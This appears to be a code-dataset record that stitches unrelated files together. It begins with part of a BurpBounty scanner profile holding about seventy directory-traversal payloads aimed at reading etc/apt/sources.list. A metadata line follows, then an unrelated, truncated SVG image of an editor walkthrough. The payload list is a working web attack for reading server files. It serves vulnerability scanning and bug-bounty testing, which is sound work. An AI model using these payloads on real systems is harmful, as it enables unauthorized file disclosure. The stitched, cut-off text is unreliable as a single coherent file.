"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,./../{FILE}",
"true,./.././../{FILE}",
"true,./.././.././../{FILE}",
"true,./.././.././.././../{FILE}",
"true,./.././.././.././.././../{FILE}",
"true,./.././.././.././.././.././../{FILE}",
"true,./.././.././.././.././.././.././../{FILE}",
"true,./.././.././.././.././.././.././.././../{FILE}",
"true,.\\..\\{FILE}",
"true,.\\..\\.\\..\\{FILE}",
"true,.\\..\\.\\..\\.\\..\\{FILE}",
"true,.\\..\\.\\..\\.\\..\\.\\..\\{FILE}",
"true,.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}",
"true,.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}",
"true,.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}",
"true,.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}",
"true,.//..//{FILE}",
"true,.//..//.//..//{FILE}",
"true,.//..//.//..//.//..//{FILE}",
"true,.//..//.//..//.//..//.//..//{FILE}",
"true,.//..//.//..//.//..//.//..//.//..//{FILE}",
"true,.//..//.//..//.//..//.//..//.//..//.//..//{FILE}",
"true,.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}",
"true,.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}",
"true,.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\{FILE}",
"true,../{FILE}",
"true,../..//{FILE}",
"true,../..//../{FILE}",
"true,../..//../..//{FILE}",
"true,../..//../..//../{FILE}",
"true,../..//../..//../..//{FILE}",
"true,../..//../..//../..//../{FILE}",
"true,../..//../..//../..//../..//{FILE}",
"true,..\\{FILE}",
"true,..\\..\\\\{FILE}",
"true,..\\..\\\\..\\{FILE}",
"true,..\\..\\\\..\\..\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\..\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\..\\\\..\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\{FILE}",
"true,..///{FILE}",
"true,../..///{FILE}",
"true,../..//..///{FILE}",
"true,../..//../..///{FILE}",
"true,../..//../..//..///{FILE}",
"true,../..//../..//../..///{FILE}",
"true,../..//../..//../..//..///{FILE}",
"true,../..//../..//../..//../..///{FILE}",
"true,..\\\\\\{FILE}",
"true,..\\..\\\\\\{FILE}",
"true,..\\..\\\\..\\\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\..\\\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\..\\\\..\\\\\\{FILE}",
"true,..\\..\\\\..\\..\\\\..\\..\\\\..\\..\\\\\\{FILE}"
],
"Encoder": [],
"UrlEncode": false,
"CharsToUrlEncode": "",
"Grep": [
"true,,deb http"
],
"Tags": [
"All"
],
"PayloadResponse": false,
"NotResponse": false,
"TimeOut1": "",
"TimeOut2": "",
"isTime": false,
"contentLength": "",
"iscontentLength": false,
"CaseSensitive": false,
"ExcludeHTTP": false,
"OnlyHTTP": false,
"IsContentType": false,
"ContentType": "",
"HttpResponseCode": "",
"NegativeCT": false,
"IsResponseCode": false,
"ResponseCode": "",
"NegativeRC": false,
"urlextension": "",
"isurlextension": false,
"NegativeUrlExtension": false,
"MatchType": 1,
"Scope": 0,
"RedirType": 0,
"MaxRedir": 0,
"payloadPosition": 1,
"payloadsFile": "",
"grepsFile": "",
"IssueName": "Linux-source-list",
"IssueSeverity": "Medium",
"IssueConfidence": "Certain",
"IssueDetail": "Linux-source-list",
"RemediationDetail": "",
"IssueBackground": "",
"RemediationBackground": "",
"Header": [
{
"type": "Payload",
"match": "{FILE}",
"replace": "etc/apt/sources.list",
"regex": "String"
}
],
"VariationAttributes": [],
"InsertionPointType": [
18,
65,
32,
36,
7,
1,
2,
6,
33,
5,
35,
34,
64,
0,
3,
4,
37,
127,
65,
32,
36,
7,
1,
2,
6,
33,
5,
35,
34,
64,
0,
3,
4,
37,
127
],
"Scanas": false,
"Scantype": 0,
"pathDiscovery": false
}
] | BitBake | 1 | upenderadepu/BurpBounty | profiles/Linux-source-list.bb | [
"Apache-2.0"
] |
<svg viewBox="0 0 575 279" fill="none" xmlns="http://www.w3.org/2000/svg">
<g filter="url(#filter0_d)">
<rect width="520" height="255" transform="translate(12 10)" fill="var(--vscode-quickInput-background)"/>
<g clip-path="url(#clip0)">
<path d="M36.4912 33V26.2861H38.9243V25.2495H32.8496V26.2861H35.2881V33H36.4912ZM45.3213 31.9634H41.6045V29.5518H45.1226V28.5527H41.6045V26.2861H45.3213V25.2495H40.4014V33H45.3213V31.9634ZM48.2646 30.019H49.9619L51.541 33H52.9321L51.1919 29.8311C52.1372 29.5142 52.6958 28.6655 52.6958 27.6182C52.6958 26.1733 51.6914 25.2495 50.1284 25.2495H47.0615V33H48.2646V30.019ZM48.2646 26.2593H49.9619C50.8911 26.2593 51.4604 26.7803 51.4604 27.645C51.4604 28.5312 50.9233 29.0308 49.9941 29.0308H48.2646V26.2593ZM62.251 33V25.2495H60.8438L58.373 31.3135H58.2817L55.8164 25.2495H54.4092V33H55.5264V27.3228H55.6016L57.8735 32.8604H58.7866L61.0586 27.3228H61.1338V33H62.251ZM65.3984 33V25.2495H64.1953V33H65.3984ZM68.5137 33V27.3711H68.5996L72.5796 33H73.6646V25.2495H72.4937V30.8892H72.4077L68.4277 25.2495H67.3428V33H68.5137ZM80.6309 33H81.9092L79.1108 25.2495H77.8164L75.0181 33H76.2534L76.9678 30.9053H79.9219L80.6309 33ZM78.4019 26.6191H78.4932L79.6157 29.9385H77.2739L78.4019 26.6191ZM88.0967 31.9526H84.4658V25.2495H83.2627V33H88.0967V31.9526Z" fill="var(--vscode-tab-activeForeground)"/>
<rect x="32" y="44" width="57" height="1" fill="var(--vscode-activityBar-activeBorder)"/>
</g>
<rect x="113" y="27" width="40" height="6" rx="3" fill="var(--vscode-tab-unfocusedInactiveForeground)"/>
<rect x="177" y="27" width="50" height="6" rx="3" fill="var(--vscode-tab-unfocusedInactiveForeground)"/>
<rect x="251" y="27" width="40" height="6" rx="3" fill="var(--vscode-tab-unfocusedInactiveForeground)"/>
<path d="M38.7559 73.7461C38.7832 73.8086 38.7969 73.877 38.7969 73.9512C38.7969 74.0254 38.7832 74.0938 38.7559 74.1562C38.7207 74.2266 38.6797 74.2871 38.6328 74.3379L36.875 76.0957C36.8281 76.1426 36.7695 76.1816 36.6992 76.2129C36.6328 76.2402 36.5605 76.2539 36.4824 76.2539C36.4082 76.2539 36.3379 76.2402 36.2715 76.2129C36.209 76.1855 36.1523 76.1465 36.1016 76.0957C36.0469 76.0371 36.0059 75.9766 35.9785 75.9141C35.9512 75.8516 35.9375 75.7832 35.9375 75.709C35.9375 75.6309 35.9512 75.5605 35.9785 75.498C36.0098 75.4277 36.0508 75.3672 36.1016 75.3164L36.916 74.4961H32.9785C32.9043 74.4961 32.834 74.4824 32.7676 74.4551C32.7051 74.4277 32.6465 74.3887 32.5918 74.3379C32.541 74.2871 32.5 74.2266 32.4688 74.1562C32.4453 74.0938 32.4336 74.0254 32.4336 73.9512C32.4336 73.877 32.4453 73.8086 32.4688 73.7461C32.5 73.6758 32.541 73.6152 32.5918 73.5645C32.6465 73.5137 32.7051 73.4746 32.7676 73.4473C32.834 73.416 32.9043 73.4004 32.9785 73.4004H36.916L36.1016 72.5859C36.0508 72.5352 36.0098 72.4746 35.9785 72.4043C35.9512 72.3379 35.9375 72.2676 35.9375 72.1934C35.9375 72.1191 35.9512 72.0508 35.9785 71.9883C36.0059 71.9219 36.0469 71.8613 36.1016 71.8066C36.1523 71.7559 36.209 71.7168 36.2715 71.6895C36.3379 71.6582 36.4082 71.6426 36.4824 71.6426C36.5605 71.6426 36.6328 71.6562 36.6992 71.6836C36.7695 71.7188 36.8281 71.7598 36.875 71.8066L38.6328 73.5645C38.6875 73.6191 38.7285 73.6797 38.7559 73.7461Z" fill="#F14C4C"/>
<path d="M52.6777 77.666C52.3887 77.834 52.0898 77.959 51.7812 78.041C51.4766 78.127 51.1641 78.1699 50.8438 78.1699C49.8281 78.1699 49.0332 77.8652 48.459 77.2559C47.8887 76.6465 47.6035 75.8027 47.6035 74.7246C47.6035 73.6465 47.8887 72.8027 48.459 72.1934C49.0332 71.584 49.8281 71.2793 50.8438 71.2793C51.1602 71.2793 51.4688 71.3203 51.7695 71.4023C52.0703 71.4844 52.373 71.6113 52.6777 71.7832V72.9141C52.3926 72.6602 52.1055 72.4766 51.8164 72.3633C51.5312 72.25 51.207 72.1934 50.8438 72.1934C50.168 72.1934 49.6484 72.4121 49.2852 72.8496C48.9219 73.2871 48.7402 73.9121 48.7402 74.7246C48.7402 75.5332 48.9219 76.1582 49.2852 76.5996C49.6523 77.0371 50.1719 77.2559 50.8438 77.2559C51.2188 77.2559 51.5547 77.1992 51.8516 77.0859C52.1484 76.9688 52.4238 76.7891 52.6777 76.5469V77.666ZM60.459 72.791C60.2285 72.6113 59.9941 72.4805 59.7559 72.3984C59.5176 72.3164 59.2559 72.2754 58.9707 72.2754C58.2988 72.2754 57.7852 72.4863 57.4297 72.9082C57.0742 73.3301 56.8965 73.9395 56.8965 74.7363V78H55.8125V71.4375H56.8965V72.7207C57.0762 72.2559 57.3516 71.9004 57.7227 71.6543C58.0977 71.4043 58.541 71.2793 59.0527 71.2793C59.3184 71.2793 59.5664 71.3125 59.7969 71.3789C60.0273 71.4453 60.248 71.5488 60.459 71.6895V72.791ZM67.4844 74.1797V74.707H62.8145V74.7422C62.7832 75.6367 62.9531 76.2793 63.3242 76.6699C63.6992 77.0605 64.2266 77.2559 64.9062 77.2559C65.25 77.2559 65.6094 77.2012 65.9844 77.0918C66.3594 76.9824 66.7598 76.8164 67.1855 76.5938V77.666C66.7754 77.834 66.3789 77.959 65.9961 78.041C65.6172 78.127 65.25 78.1699 64.8945 78.1699C63.875 78.1699 63.0781 77.8652 62.5039 77.2559C61.9297 76.6426 61.6426 75.7988 61.6426 74.7246C61.6426 73.6777 61.9238 72.8418 62.4863 72.2168C63.0488 71.5918 63.7988 71.2793 64.7363 71.2793C65.5723 71.2793 66.2305 71.5625 66.7109 72.1289C67.1953 72.6953 67.4531 73.3789 67.4844 74.1797ZM66.4062 73.8633C66.3594 73.4102 66.1934 73.0195 65.9082 72.6914C65.627 72.3594 65.2207 72.1934 64.6895 72.1934C64.1699 72.1934 63.7422 72.3652 63.4062 72.709C63.0703 73.0527 62.8867 73.4395 62.8555 73.8691L66.4062 73.8633ZM72.2656 74.7012H71.9082C71.2793 74.7012 70.8047 74.8125 70.4844 75.0352C70.168 75.2539 70.0098 75.582 70.0098 76.0195C70.0098 76.4141 70.1289 76.7207 70.3672 76.9395C70.6055 77.1582 70.9355 77.2676 71.3574 77.2676C71.9512 77.2676 72.418 77.0625 72.7578 76.6523C73.0977 76.2383 73.2695 75.668 73.2734 74.9414V74.7012H72.2656ZM74.3574 74.2559V78H73.2734V77.0273C73.043 77.418 72.752 77.707 72.4004 77.8945C72.0527 78.0781 71.6289 78.1699 71.1289 78.1699C70.4609 78.1699 69.9277 77.9824 69.5293 77.6074C69.1309 77.2285 68.9316 76.7227 68.9316 76.0898C68.9316 75.3594 69.1758 74.8047 69.6641 74.4258C70.1562 74.0469 70.877 73.8574 71.8262 73.8574H73.2734V73.6875C73.2695 73.1641 73.1367 72.7852 72.875 72.5508C72.6133 72.3125 72.1953 72.1934 71.6211 72.1934C71.2539 72.1934 70.8828 72.2461 70.5078 72.3516C70.1328 72.457 69.7676 72.6113 69.4121 72.8145V71.7363C69.8105 71.584 70.1914 71.4707 70.5547 71.3965C70.9219 71.3184 71.2773 71.2793 71.6211 71.2793C72.1641 71.2793 72.627 71.3594 73.0098 71.5195C73.3965 71.6797 73.709 71.9199 73.9473 72.2402C74.0957 72.4355 74.2012 72.6777 74.2637 72.9668C74.3262 73.252 74.3574 73.6816 74.3574 74.2559ZM78.9805 69.5742V71.4375H81.4297V72.2754H78.9805V75.8379C78.9805 76.3223 79.0723 76.6602 79.2559 76.8516C79.4395 77.043 79.7598 77.1387 80.2168 77.1387H81.4297V78H80.1113C79.3027 78 78.7324 77.8379 78.4004 77.5137C78.0684 77.1895 77.9023 76.6309 77.9023 75.8379V72.2754H76.1504V71.4375H77.9023V69.5742H78.9805ZM89.1758 74.1797V74.707H84.5059V74.7422C84.4746 75.6367 84.6445 76.2793 85.0156 76.6699C85.3906 77.0605 85.918 77.2559 86.5977 77.2559C86.9414 77.2559 87.3008 77.2012 87.6758 77.0918C88.0508 76.9824 88.4512 76.8164 88.877 76.5938V77.666C88.4668 77.834 88.0703 77.959 87.6875 78.041C87.3086 78.127 86.9414 78.1699 86.5859 78.1699C85.5664 78.1699 84.7695 77.8652 84.1953 77.2559C83.6211 76.6426 83.334 75.7988 83.334 74.7246C83.334 73.6777 83.6152 72.8418 84.1777 72.2168C84.7402 71.5918 85.4902 71.2793 86.4277 71.2793C87.2637 71.2793 87.9219 71.5625 88.4023 72.1289C88.8867 72.6953 89.1445 73.3789 89.1758 74.1797ZM88.0977 73.8633C88.0508 73.4102 87.8848 73.0195 87.5996 72.6914C87.3184 72.3594 86.9121 72.1934 86.3809 72.1934C85.8613 72.1934 85.4336 72.3652 85.0977 72.709C84.7617 73.0527 84.5781 73.4395 84.5469 73.8691L88.0977 73.8633ZM90.4414 73.7578H96.6523V74.748H90.4414V73.7578ZM103.842 72.791C103.611 72.6113 103.377 72.4805 103.139 72.3984C102.9 72.3164 102.639 72.2754 102.354 72.2754C101.682 72.2754 101.168 72.4863 100.812 72.9082C100.457 73.3301 100.279 73.9395 100.279 74.7363V78H99.1953V71.4375H100.279V72.7207C100.459 72.2559 100.734 71.9004 101.105 71.6543C101.48 71.4043 101.924 71.2793 102.436 71.2793C102.701 71.2793 102.949 71.3125 103.18 71.3789C103.41 71.4453 103.631 71.5488 103.842 71.6895V72.791ZM110.867 74.1797V74.707H106.197V74.7422C106.166 75.6367 106.336 76.2793 106.707 76.6699C107.082 77.0605 107.609 77.2559 108.289 77.2559C108.633 77.2559 108.992 77.2012 109.367 77.0918C109.742 76.9824 110.143 76.8164 110.568 76.5938V77.666C110.158 77.834 109.762 77.959 109.379 78.041C109 78.127 108.633 78.1699 108.277 78.1699C107.258 78.1699 106.461 77.8652 105.887 77.2559C105.312 76.6426 105.025 75.7988 105.025 74.7246C105.025 73.6777 105.307 72.8418 105.869 72.2168C106.432 71.5918 107.182 71.2793 108.119 71.2793C108.955 71.2793 109.613 71.5625 110.094 72.1289C110.578 72.6953 110.836 73.3789 110.867 74.1797ZM109.789 73.8633C109.742 73.4102 109.576 73.0195 109.291 72.6914C109.01 72.3594 108.604 72.1934 108.072 72.1934C107.553 72.1934 107.125 72.3652 106.789 72.709C106.453 73.0527 106.27 73.4395 106.238 73.8691L109.789 73.8633ZM115.648 74.7012H115.291C114.662 74.7012 114.188 74.8125 113.867 75.0352C113.551 75.2539 113.393 75.582 113.393 76.0195C113.393 76.4141 113.512 76.7207 113.75 76.9395C113.988 77.1582 114.318 77.2676 114.74 77.2676C115.334 77.2676 115.801 77.0625 116.141 76.6523C116.48 76.2383 116.652 75.668 116.656 74.9414V74.7012H115.648ZM117.74 74.2559V78H116.656V77.0273C116.426 77.418 116.135 77.707 115.783 77.8945C115.436 78.0781 115.012 78.1699 114.512 78.1699C113.844 78.1699 113.311 77.9824 112.912 77.6074C112.514 77.2285 112.314 76.7227 112.314 76.0898C112.314 75.3594 112.559 74.8047 113.047 74.4258C113.539 74.0469 114.26 73.8574 115.209 73.8574H116.656V73.6875C116.652 73.1641 116.52 72.7852 116.258 72.5508C115.996 72.3125 115.578 72.1934 115.004 72.1934C114.637 72.1934 114.266 72.2461 113.891 72.3516C113.516 72.457 113.15 72.6113 112.795 72.8145V71.7363C113.193 71.584 113.574 71.4707 113.938 71.3965C114.305 71.3184 114.66 71.2793 115.004 71.2793C115.547 71.2793 116.01 71.3594 116.393 71.5195C116.779 71.6797 117.092 71.9199 117.33 72.2402C117.479 72.4355 117.584 72.6777 117.646 72.9668C117.709 73.252 117.74 73.6816 117.74 74.2559ZM124.982 77.666C124.693 77.834 124.395 77.959 124.086 78.041C123.781 78.127 123.469 78.1699 123.148 78.1699C122.133 78.1699 121.338 77.8652 120.764 77.2559C120.193 76.6465 119.908 75.8027 119.908 74.7246C119.908 73.6465 120.193 72.8027 120.764 72.1934C121.338 71.584 122.133 71.2793 123.148 71.2793C123.465 71.2793 123.773 71.3203 124.074 71.4023C124.375 71.4844 124.678 71.6113 124.982 71.7832V72.9141C124.697 72.6602 124.41 72.4766 124.121 72.3633C123.836 72.25 123.512 72.1934 123.148 72.1934C122.473 72.1934 121.953 72.4121 121.59 72.8496C121.227 73.2871 121.045 73.9121 121.045 74.7246C121.045 75.5332 121.227 76.1582 121.59 76.5996C121.957 77.0371 122.477 77.2559 123.148 77.2559C123.523 77.2559 123.859 77.1992 124.156 77.0859C124.453 76.9688 124.729 76.7891 124.982 76.5469V77.666ZM129.594 69.5742V71.4375H132.043V72.2754H129.594V75.8379C129.594 76.3223 129.686 76.6602 129.869 76.8516C130.053 77.043 130.373 77.1387 130.83 77.1387H132.043V78H130.725C129.916 78 129.346 77.8379 129.014 77.5137C128.682 77.1895 128.516 76.6309 128.516 75.8379V72.2754H126.764V71.4375H128.516V69.5742H129.594ZM133.824 73.7578H140.035V74.748H133.824V73.7578ZM144.57 74.7012H144.213C143.584 74.7012 143.109 74.8125 142.789 75.0352C142.473 75.2539 142.314 75.582 142.314 76.0195C142.314 76.4141 142.434 76.7207 142.672 76.9395C142.91 77.1582 143.24 77.2676 143.662 77.2676C144.256 77.2676 144.723 77.0625 145.062 76.6523C145.402 76.2383 145.574 75.668 145.578 74.9414V74.7012H144.57ZM146.662 74.2559V78H145.578V77.0273C145.348 77.418 145.057 77.707 144.705 77.8945C144.357 78.0781 143.934 78.1699 143.434 78.1699C142.766 78.1699 142.232 77.9824 141.834 77.6074C141.436 77.2285 141.236 76.7227 141.236 76.0898C141.236 75.3594 141.48 74.8047 141.969 74.4258C142.461 74.0469 143.182 73.8574 144.131 73.8574H145.578V73.6875C145.574 73.1641 145.441 72.7852 145.18 72.5508C144.918 72.3125 144.5 72.1934 143.926 72.1934C143.559 72.1934 143.188 72.2461 142.812 72.3516C142.438 72.457 142.072 72.6113 141.717 72.8145V71.7363C142.115 71.584 142.496 71.4707 142.859 71.3965C143.227 71.3184 143.582 71.2793 143.926 71.2793C144.469 71.2793 144.932 71.3594 145.314 71.5195C145.701 71.6797 146.014 71.9199 146.252 72.2402C146.4 72.4355 146.506 72.6777 146.568 72.9668C146.631 73.252 146.662 73.6816 146.662 74.2559ZM149.885 77.1738V80.4961H148.801V71.4375H149.885V72.2754C150.064 71.9512 150.303 71.7051 150.6 71.5371C150.9 71.3652 151.246 71.2793 151.637 71.2793C152.43 71.2793 153.051 71.5859 153.5 72.1992C153.953 72.8125 154.18 73.6621 154.18 74.748C154.18 75.8145 153.953 76.6523 153.5 77.2617C153.047 77.8672 152.426 78.1699 151.637 78.1699C151.238 78.1699 150.889 78.0859 150.588 77.918C150.291 77.7461 150.057 77.498 149.885 77.1738ZM153.049 74.7246C153.049 73.8887 152.916 73.2578 152.65 72.832C152.389 72.4062 151.998 72.1934 151.479 72.1934C150.955 72.1934 150.559 72.4082 150.289 72.8379C150.02 73.2637 149.885 73.8926 149.885 74.7246C149.885 75.5527 150.02 76.1816 150.289 76.6113C150.559 77.041 150.955 77.2559 151.479 77.2559C151.998 77.2559 152.389 77.043 152.65 76.6172C152.916 76.1914 153.049 75.5605 153.049 74.7246ZM157.115 77.1738V80.4961H156.031V71.4375H157.115V72.2754C157.295 71.9512 157.533 71.7051 157.83 71.5371C158.131 71.3652 158.477 71.2793 158.867 71.2793C159.66 71.2793 160.281 71.5859 160.73 72.1992C161.184 72.8125 161.41 73.6621 161.41 74.748C161.41 75.8145 161.184 76.6523 160.73 77.2617C160.277 77.8672 159.656 78.1699 158.867 78.1699C158.469 78.1699 158.119 78.0859 157.818 77.918C157.521 77.7461 157.287 77.498 157.115 77.1738ZM160.279 74.7246C160.279 73.8887 160.146 73.2578 159.881 72.832C159.619 72.4062 159.229 72.1934 158.709 72.1934C158.186 72.1934 157.789 72.4082 157.52 72.8379C157.25 73.2637 157.115 73.8926 157.115 74.7246C157.115 75.5527 157.25 76.1816 157.52 76.6113C157.789 77.041 158.186 77.2559 158.709 77.2559C159.229 77.2559 159.619 77.043 159.881 76.6172C160.146 76.1914 160.279 75.5605 160.279 74.7246Z" fill="#29B7DA"/>
<path d="M269.533 73.9336V78H268.449V73.9336C268.449 73.3438 268.346 72.9102 268.139 72.6328C267.932 72.3555 267.607 72.2168 267.166 72.2168C266.662 72.2168 266.273 72.3965 266 72.7559C265.73 73.1113 265.596 73.623 265.596 74.291V78H264.518V71.4375H265.596V72.4219C265.787 72.0469 266.047 71.7637 266.375 71.5723C266.703 71.377 267.092 71.2793 267.541 71.2793C268.209 71.2793 268.707 71.5 269.035 71.9414C269.367 72.3789 269.533 73.043 269.533 73.9336ZM272.803 77.1738V80.4961H271.719V71.4375H272.803V72.2754C272.982 71.9512 273.221 71.7051 273.518 71.5371C273.818 71.3652 274.164 71.2793 274.555 71.2793C275.348 71.2793 275.969 71.5859 276.418 72.1992C276.871 72.8125 277.098 73.6621 277.098 74.748C277.098 75.8145 276.871 76.6523 276.418 77.2617C275.965 77.8672 275.344 78.1699 274.555 78.1699C274.156 78.1699 273.807 78.0859 273.506 77.918C273.209 77.7461 272.975 77.498 272.803 77.1738ZM275.967 74.7246C275.967 73.8887 275.834 73.2578 275.568 72.832C275.307 72.4062 274.916 72.1934 274.396 72.1934C273.873 72.1934 273.477 72.4082 273.207 72.8379C272.938 73.2637 272.803 73.8926 272.803 74.7246C272.803 75.5527 272.938 76.1816 273.207 76.6113C273.477 77.041 273.873 77.2559 274.396 77.2559C274.916 77.2559 275.307 77.043 275.568 76.6172C275.834 76.1914 275.967 75.5605 275.967 74.7246ZM281.797 72.1055C281.93 71.8242 282.098 71.6172 282.301 71.4844C282.508 71.3477 282.756 71.2793 283.045 71.2793C283.572 71.2793 283.943 71.4844 284.158 71.8945C284.377 72.3008 284.486 73.0684 284.486 74.1973V78H283.502V74.2441C283.502 73.3184 283.449 72.7441 283.344 72.5215C283.242 72.2949 283.055 72.1816 282.781 72.1816C282.469 72.1816 282.254 72.3027 282.137 72.5449C282.023 72.7832 281.967 73.3496 281.967 74.2441V78H280.982V74.2441C280.982 73.3066 280.926 72.7285 280.812 72.5098C280.703 72.291 280.504 72.1816 280.215 72.1816C279.93 72.1816 279.73 72.3027 279.617 72.5449C279.508 72.7832 279.453 73.3496 279.453 74.2441V78H278.475V71.4375H279.453V72C279.582 71.7656 279.742 71.5879 279.934 71.4668C280.129 71.3418 280.35 71.2793 280.596 71.2793C280.893 71.2793 281.139 71.3477 281.334 71.4844C281.533 71.6211 281.688 71.8281 281.797 72.1055ZM297.998 71.666V72.7207C297.689 72.541 297.379 72.4062 297.066 72.3164C296.754 72.2266 296.436 72.1816 296.111 72.1816C295.623 72.1816 295.258 72.2617 295.016 72.4219C294.777 72.5781 294.658 72.8184 294.658 73.1426C294.658 73.4355 294.748 73.6543 294.928 73.7988C295.107 73.9434 295.555 74.084 296.27 74.2207L296.703 74.3027C297.238 74.4043 297.643 74.6074 297.916 74.9121C298.193 75.2168 298.332 75.6133 298.332 76.1016C298.332 76.75 298.102 77.2578 297.641 77.625C297.18 77.9883 296.539 78.1699 295.719 78.1699C295.395 78.1699 295.055 78.1348 294.699 78.0645C294.344 77.998 293.959 77.8965 293.545 77.7598V76.6465C293.947 76.8535 294.332 77.0098 294.699 77.1152C295.066 77.2168 295.414 77.2676 295.742 77.2676C296.219 77.2676 296.588 77.1719 296.85 76.9805C297.111 76.7852 297.242 76.5137 297.242 76.166C297.242 75.666 296.764 75.3203 295.807 75.1289L295.76 75.1172L295.355 75.0352C294.734 74.9141 294.281 74.7109 293.996 74.4258C293.711 74.1367 293.568 73.7441 293.568 73.248C293.568 72.6191 293.781 72.1348 294.207 71.7949C294.633 71.4512 295.24 71.2793 296.029 71.2793C296.381 71.2793 296.719 71.3125 297.043 71.3789C297.367 71.4414 297.686 71.5371 297.998 71.666ZM303.125 69.5742V71.4375H305.574V72.2754H303.125V75.8379C303.125 76.3223 303.217 76.6602 303.4 76.8516C303.584 77.043 303.904 77.1387 304.361 77.1387H305.574V78H304.256C303.447 78 302.877 77.8379 302.545 77.5137C302.213 77.1895 302.047 76.6309 302.047 75.8379V72.2754H300.295V71.4375H302.047V69.5742H303.125ZM310.871 74.7012H310.514C309.885 74.7012 309.41 74.8125 309.09 75.0352C308.773 75.2539 308.615 75.582 308.615 76.0195C308.615 76.4141 308.734 76.7207 308.973 76.9395C309.211 77.1582 309.541 77.2676 309.963 77.2676C310.557 77.2676 311.023 77.0625 311.363 76.6523C311.703 76.2383 311.875 75.668 311.879 74.9414V74.7012H310.871ZM312.963 74.2559V78H311.879V77.0273C311.648 77.418 311.357 77.707 311.006 77.8945C310.658 78.0781 310.234 78.1699 309.734 78.1699C309.066 78.1699 308.533 77.9824 308.135 77.6074C307.736 77.2285 307.537 76.7227 307.537 76.0898C307.537 75.3594 307.781 74.8047 308.27 74.4258C308.762 74.0469 309.482 73.8574 310.432 73.8574H311.879V73.6875C311.875 73.1641 311.742 72.7852 311.48 72.5508C311.219 72.3125 310.801 72.1934 310.227 72.1934C309.859 72.1934 309.488 72.2461 309.113 72.3516C308.738 72.457 308.373 72.6113 308.018 72.8145V71.7363C308.416 71.584 308.797 71.4707 309.16 71.3965C309.527 71.3184 309.883 71.2793 310.227 71.2793C310.77 71.2793 311.232 71.3594 311.615 71.5195C312.002 71.6797 312.314 71.9199 312.553 72.2402C312.701 72.4355 312.807 72.6777 312.869 72.9668C312.932 73.252 312.963 73.6816 312.963 74.2559ZM320.756 72.791C320.525 72.6113 320.291 72.4805 320.053 72.3984C319.814 72.3164 319.553 72.2754 319.268 72.2754C318.596 72.2754 318.082 72.4863 317.727 72.9082C317.371 73.3301 317.193 73.9395 317.193 74.7363V78H316.109V71.4375H317.193V72.7207C317.373 72.2559 317.648 71.9004 318.02 71.6543C318.395 71.4043 318.838 71.2793 319.35 71.2793C319.615 71.2793 319.863 71.3125 320.094 71.3789C320.324 71.4453 320.545 71.5488 320.756 71.6895V72.791ZM324.816 69.5742V71.4375H327.266V72.2754H324.816V75.8379C324.816 76.3223 324.908 76.6602 325.092 76.8516C325.275 77.043 325.596 77.1387 326.053 77.1387H327.266V78H325.947C325.139 78 324.568 77.8379 324.236 77.5137C323.904 77.1895 323.738 76.6309 323.738 75.8379V72.2754H321.986V71.4375H323.738V69.5742H324.816ZM32.2168 141.252H33.4766L35.6094 145.113L37.7363 141.252H39.0078L36.2012 